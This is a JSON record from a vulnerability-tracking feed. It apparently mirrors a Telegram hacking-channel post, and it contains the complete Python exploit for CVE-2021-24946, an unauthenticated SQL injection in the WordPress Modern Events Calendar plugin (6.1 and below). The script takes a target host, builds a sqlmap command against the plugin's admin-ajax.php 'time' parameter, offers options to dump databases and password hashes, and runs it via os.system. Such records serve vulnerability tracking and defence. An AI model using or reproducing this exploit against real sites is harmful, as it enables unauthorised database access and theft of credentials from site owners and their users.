{"uuid": "a9a0d221-4db4-4390-9b11-349816fe983e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24946", "type": "seen", "source": "https://t.me/hacking_Attack/40449", "content": "Exploit Collector\nWordPress Modern Events Calendar 6.1 SQL Injection\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png WordPress Modern Events Calendar plugin versions 6.1 and below suffer from an unauthenticated remote SQL injection vulnerability.\n\nMD5 | 072f2b4d4bc04c1eb3516c69bee38723Download # Exploit Title: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)\n# Date 26.01.2022\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://webnus.net/modern-events-calendar/\n# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip\n# Version: <=\n# Tested on: Ubuntu 20.04\n# CVE: CVE-2021-24946\n# CWE: CWE-89\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md\n\n'''\nDescription:\nThe Modern Events Calendar Lite WordPress plugin before 6.1.5 does not sanitise and escape the time parameter\nbefore using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users,\nleading to an unauthenticated SQL injection issue\n'''\n\n#Banner:\nbanner = '''\n\n.oOOOo.  o      'O o.OOoOoo \n.O     o  O       o  O                 .oOOo. .oOOo. .oOOo.  oO             .oOOo. o   O  .oOOo. o   O  .oOOo. \no         o       O  o                      O O    o      O   O                  O O   o  O    o O   o  O \no         o       o  ooOO                   o o    O      o   o                  o o   o  o    O o   o  o \no         O      O'  O       ooooooooo     O' o    o     O'   O   ooooooooo     O' OooOOo `OooOo OooOOo OoOOo. \nO         `o    o    o                    O   O    O    O     o                O       O       O     O  O    O \n`o     .o  `o  O     O                  .O    o    O  .O      O              .O        o       o     o  O    o \n`OoooO'    `o'     ooOooOoO           oOoOoO `OooO' oOoOoO OooOO           oOoOoO     O  `OooO'     O  `OooO' \n\n[+] Modern Events Calendar Lite SQL-Injection\n[@] Developed by Ron Jost (Hacker5preme)\n\n'''\n\nprint(banner)\n\nimport requests\nimport argparse\nfrom datetime import datetime\nimport os\n\n# User-Input:\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calendar SQL-Injection (unauthenticated)')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\n# Exploit:\nprint('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))\nprint('[*] Payload for SQL-Injection:')\nexploitcode_url = r'sqlmap \"http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=mec_load_single_page&time=2\" '\nexploitcode_risk = ' -p time'\nprint('    Sqlmap options:')\nprint('     -a, --all           Retrieve everything')\nprint('     -b, --banner        Retrieve DBMS banner')\nprint('     --current-user      Retrieve DBMS current user')\nprint('     --current-db        Retrieve DBMS current database')\nprint('     --passwords         Enumerate DBMS users password hashes')\nprint('     --tables            Enumerate DBMS database tables')\nprint('     --columns           Enumerate DBMS database table column')\nprint('     --schema            Enumerate DBMS schema')\nprint('     --dump              Dump DBMS database table entries')\nprint('     --dump-all          Dump all DBMS databases tables entries')\nretrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')\nexploitcode = exploitcode_url +  retrieve_mode + exploitcode_risk\nos.system(exploitcode)\nprint('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) Source:packetst[...]", "creation_timestamp": "2026-09-02T01:02:20.684235Z"}